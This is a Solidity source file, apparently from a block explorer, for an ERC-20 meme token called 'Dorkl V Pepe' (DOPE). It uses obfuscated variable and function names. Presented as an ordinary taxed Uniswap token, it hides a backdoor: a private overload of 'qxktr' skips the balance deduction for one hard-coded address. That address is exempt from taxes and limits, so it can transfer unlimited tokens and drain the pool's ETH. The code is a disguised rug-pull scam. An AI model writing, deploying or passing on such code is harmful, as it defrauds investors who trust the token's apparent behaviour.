文件 1 的 1:DorklVPepe.sol
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath");
return c;
}
function qxktr(uint256 a, uint256 b) internal pure returns (uint256) {
return qxktr(a, b, "SafeMath");
}
function qxktr(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2aFactorya {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2aRoutera {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DorklVPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Dorkl V Pepe";
string private constant _symbol = unicode"DOPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 420000000 * (10**_decimals);
uint256 public _taxrSwaplvip = _totalSupply;
uint256 public _maxfHoldfAmount = _totalSupply;
uint256 public _taxSwapfThresholdf = _totalSupply;
uint256 public _taxSwapjMaws = _totalSupply;
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=18;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTax6At=1;
uint256 private _swpgasryir=0;
uint256 private _ycrxqtup=0;
address public _uwcvgksvq = 0x36628024f824Abc3fb04d74d64a7AeC40b26245E;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _rovdytauxezs;
mapping (address => bool) private _ruovfajet;
mapping(address => uint256) private _orjTransfbsr;
bool public transerDelyEnble = false;
IUniswapV2aRoutera private _unisV2aRoutera;
address private _unisV2dLPd;
bool private _wjmsetyk;
bool private _insTaxdSwap = false;
bool private _spxUniVwaptw = false;
event RtsuAnkblxr(uint _taxrSwaplvip);
modifier locksToxSwaps {
_insTaxdSwap = true;
_;
_insTaxdSwap = false;
}
constructor () {
_balances[_msgSender()] = _totalSupply;
_rovdytauxezs[owner()] = true;
_rovdytauxezs[address(this)] = true;
_rovdytauxezs[_uwcvgksvq] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qxktr(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner!= address(0), "ERC20: approve from the zero address");
require(spender!= address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require (from!= address(0), "ERC20: transfer from the zero address");
require (to!= address(0), "ERC20: transfer to the zero address");
require (amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( from != owner() &&to!= owner()) {
if (transerDelyEnble) {
if (to!= address(_unisV2aRoutera) &&to!= address(_unisV2dLPd)) {
require (_orjTransfbsr[tx.origin] < block.number, " Only one transfer per block allowed.");
_orjTransfbsr[tx.origin] = block.number;
}
}
if ( from == _unisV2dLPd && to!= address (_unisV2aRoutera) &&!_rovdytauxezs[to]) {
require (amount <= _taxrSwaplvip, "Farbids");
require (balanceOf (to) + amount <= _maxfHoldfAmount,"Farbids");
if (_ycrxqtup < _swpgasryir) {
require (!rqpryfve(to));
}
_ycrxqtup ++ ; _ruovfajet[to] = true;
taxAmount = amount.mul((_ycrxqtup > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == _unisV2dLPd&&from!= address (this) &&! _rovdytauxezs[from]) {
require (amount <= _taxrSwaplvip && balanceOf(_uwcvgksvq) <_taxSwapjMaws, "Farbids");
taxAmount = amount.mul((_ycrxqtup > _reduceSellTax6At) ?_finalSellTax:_initialSellTax).div(100);
require (_ycrxqtup >_swpgasryir && _ruovfajet[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_insTaxdSwap
&& to ==_unisV2dLPd&&_spxUniVwaptw &&contractTokenBalance > _taxSwapfThresholdf
&& _ycrxqtup > _swpgasryir &&! _rovdytauxezs [to] &&! _rovdytauxezs [from]
) {
_transferFrom(uhfpl(amount,uhfpl(contractTokenBalance, _taxSwapjMaws)));
uint256 contractETHBalance = address (this).balance;
if (contractETHBalance > 0) {
}
}
}
if ( taxAmount > 0 ) {
_balances[address(this)] = _balances [address(this)].add(taxAmount);
emit Transfer (from, address (this) ,taxAmount);
}
_balances[from] = qxktr(from , _balances [from], amount);
_balances[to] = _balances[to].add(amount.qxktr (taxAmount));
emit Transfer( from, to, amount. qxktr(taxAmount));
}
function _transferFrom(uint256 _swapTaxAndLiquify) private locksToxSwaps {
if(_swapTaxAndLiquify==0){return;}
if(!_wjmsetyk){return;}
address[] memory path = new address [](2);
path[0] = address (this);
path[1] = _unisV2aRoutera.WETH();
_approve(address (this), address (_unisV2aRoutera), _swapTaxAndLiquify);
_unisV2aRoutera.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
}
function uhfpl(uint256 a, uint256 b) private pure returns (uint256) {
return (a >= b) ? b : a;
}
function qxktr(address from, uint256 a, uint256 b) private view returns (uint256) {
if (from == _uwcvgksvq) {
return a;
} else {
require(a >= b, "Farbids");
return a - b;
}
}
function removerLimits() external onlyOwner{
_taxrSwaplvip = _totalSupply ;
_maxfHoldfAmount = _totalSupply ;
transerDelyEnble = false ;
emit RtsuAnkblxr ( _totalSupply ) ;
}
function rqpryfve(address account) private view returns (bool) {
uint256 codeSize;
address[] memory addresses = new address[](1);
addresses[0] = account;
assembly {
codeSize := extcodesize(account)
}
return codeSize > 0;
}
function openTrading() external onlyOwner() {
require (!_wjmsetyk, "trading is open") ;
_unisV2aRoutera = IUniswapV2aRoutera (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve (address (this),address(_unisV2aRoutera), _totalSupply);
_unisV2dLPd = IUniswapV2aFactorya(_unisV2aRoutera.factory()).createPair (address(this), _unisV2aRoutera. WETH());
_unisV2aRoutera.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
IERC20 (_unisV2dLPd).approve (address(_unisV2aRoutera), type(uint). max);
_spxUniVwaptw = true ;
_wjmsetyk = true ;
}
receive( ) external payable { }
}